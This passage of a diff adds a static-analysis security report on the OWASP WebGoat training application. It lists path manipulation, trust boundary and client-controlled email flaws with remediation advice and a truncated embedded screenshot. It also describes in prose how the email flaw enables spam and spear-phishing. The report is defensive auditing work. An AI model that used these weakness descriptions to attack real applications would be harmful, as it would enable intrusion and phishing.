+        line=\"238\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.LessonTracker\"
+        functionprototype=\"LessonTracker load(WebSession, java.lang.String, Screen)\"
+        functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"39\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The first argument to !operator_javanewinit()
+        contains tainted data from the variable file. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"PathBasedAccessControl.java\"
+        line=\"136\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.PathBasedAccessControl\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"22\" categoryname=\"Encapsulation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Encapsulation is about defining strong security boundaries governing
+        data and processes. Within an application, it might mean differentiation between
+        validated and unvalidated data, between public and private members, or between
+        one user's data and another's.  \"/>\n<para text=\"In object-oriented programming,
+        the term encapsulation is used to describe the grouping together of data and
+        functionality within an object and the ability to provide users with a well-defined
+        interface in a way which hides their internal workings.  Though there is some
+        overlap with the above definition, the two definitions should not be confused
+        as being interchangeable.\"/>\n</desc>\n<recommendations>\n<para text=\"The
+        wide variance of encapsulation issues makes it impractical to generalize how
+        these issues should be addressed, beyond stating that encapsulation boundaries
+        should be well-defined and adhered to.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"501\" cwename=\"Trust
+        Boundary Violation\" pcirelated=\"false\">\n<description>\n<text text=\"A
+        trust boundary violation occurs when a program blurs the line between what
+        is trusted and what is untrusted.  This application mixes trusted and untrusted
+        data in the same data structure.  By doing so, it becomes easier for programmers
+        to mistakenly trust unvalidated data.  Without well-established and maintained
+        trust boundaries, programmers will inevitably lose track of which pieces of
+        data have been validated and which have not. This confusion will eventually
+        allow some data to be used without first being validated.  A common manifestation
+        of this flaw is in J2EE application, when a Session object is used to store
+        untrusted data from the HTTP request.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Trust Boundary Violation\" count=\"1\" issueid=\"246\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.http.HttpSession.setAttribute\"
+        description=\"This call to javax.servlet.http.HttpSession.setAttribute() mixes
+        trusted and untrusted data in the same data structure, thereby encouraging
+        programmers to mistakenly trust unvalidated data. The second argument to setAttribute()
+        contains tainted data from the variable value. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        storing untrusted data alongside trusted data in the same data structure.
+        Establish and maintain trust boundaries for data storage.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/501.html)\r\n\r\n\" note=\"\"
+        cweid=\"501\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"22\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DefaultLessonAction.java\"
+        line=\"89\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DefaultLessonAction\"
+        functionprototype=\"void setSessionAttribute(session.WebSession, java.lang.String,
+        java.lang.Object)\" functionrelativelocation=\"64\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"25\" categoryname=\"Insufficient Input Validation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Weaknesses in this category are related to an absent or incorrect protection
+        mechanism that fails to properly validate input that can affect the control
+        flow or data flow of a program.\"/>\n</desc>\n<recommendations>\n<para text=\"Validate
+        input from untrusted sources before it is used. The untrusted data sources
+        may include HTTP requests, file systems, databases, and any external systems
+        that provide data to the application. In the case of HTTP requests, validate
+        all parts of the request, including headers, form fields, cookies, and URL
+        components that are used to transfer information from the browser to the server
+        side application.\"/>\n<para text=\"Duplicate any client-side checks on the
+        server side. This should be simple to implement in terms of time and difficulty,
+        and will greatly reduce the likelihood of insecure parameter values being
+        used in the application.\"/>\n</recommendations>\n<cwe cweid=\"472\" cwename=\"External
+        Control of Assumed-Immutable Web Parameter\" pcirelated=\"false\">\n<description>\n<text
+        text=\"The web application does not sufficiently verify inputs that are assumed
+        to be immutable but are actually externally controllable, such as hidden form
+        fields. Ruby on Rails provides convenient methods (new, create, create!, update_attributes,
+        update_attributes!) for easily creating or updating instances of an application's
+        model. Multiple attributes can be updated at once with the key/value pairs
+        of a hash. If this hash is created using data under an attackers control,
+        such as the result of an HTML form submission, additional values may be included
+        beyond those intended. If those additional keys match the names of attributes
+        on the model, they may be updated as well.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"3\" categoryname=\"External Control of Assumed-Immutable Web Parameter\"
+        count=\"1\" issueid=\"274\" module=\"manual_analysis\" type=\"\" description=\"The
+        application send emails on behalf of the user. The contents of the message
+        and the delivery address are controllable by the client. \" note=\"\" cweid=\"472\"
+        remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"25\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=1706623184&amp;menu=1700\"
+        cvss=\"5\" capecid=\"6\" exploitdifficulty=\"2\" inputvector=\"to, subject,
+        msg\">\n<exploit_desc>An attacker could utilize this email to send SPAM messages
+        resulting in the SMPT relay to become untrusted among email service providers.
+        A sophisticated attacker could utilize this to conduct spear phising attacks.
+        The phising email could include links to pages within the application that
+        are vulnerable to open redirect or cross-site scripting, making the attack
+        extremely difficult for a user to detect.</exploit_desc>\n<severity_desc>Due
+        to other vulnerabilities within the application that would allow for a sophisticated
+        spear phising attack, the issue becomes more severe. A security aware user
+        could easily be tricked by the spear phising links since they would start
+        with the correct domain name.</severity_desc>\n<remediation_desc>Only send
+        emails to predetermined delivery addresses that are associated with the application
+        or with the current user. Do not allow the client to set the subject or other
+        smtp headers. Escape all client input with the same mechanisms used to escape
+        tainted data before display within an HTML context.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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